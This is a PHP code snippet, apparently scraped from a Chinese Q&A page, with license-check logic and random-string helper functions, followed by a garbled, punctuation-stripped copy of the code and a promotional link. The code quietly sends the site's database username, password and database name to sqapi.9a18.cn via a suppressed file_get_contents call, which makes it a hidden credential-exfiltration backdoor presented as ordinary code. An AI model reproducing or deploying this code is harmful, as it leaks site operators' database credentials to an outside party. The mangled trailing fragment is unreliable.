if(!isset($_SESSION['authcode'])) { $query=file_get_contents('http://sqapi.9a18.cn/check.php?url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode); if($query=json_decode($query,true)) { if($query['code']==1)$_SESSION['authcode']=true; else exit('

'.$query['msg'].'

'); } } @file_get_contents("http://sqapi.9a18.cn/api/daoban.php?url=".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&db=".$dbconfig['dbname']);

function random($length = 8,$chars = null){ if(empty($chars)){ $chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; } $count = strlen($chars) - 1; $code = ''; while( strlen($code) < $length){ $code .= substr($chars,rand(0,$count),1); } return $code; }

function userrandom(){ $rand="guo".rand(100000,999999); return $rand;

把if!isset$_SESSIONauthcode 	$query=file_get_contentshttpsqapi9a18cncheckphpurl=$_SERVERHTTP_HOST&authcode=$authcode;	if$query=json_decode$querytrue 		if$querycode==1$_SESSIONauthcode=true;		else exith

原文地址: http://www.cveoy.top/t/topic/hs3d 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录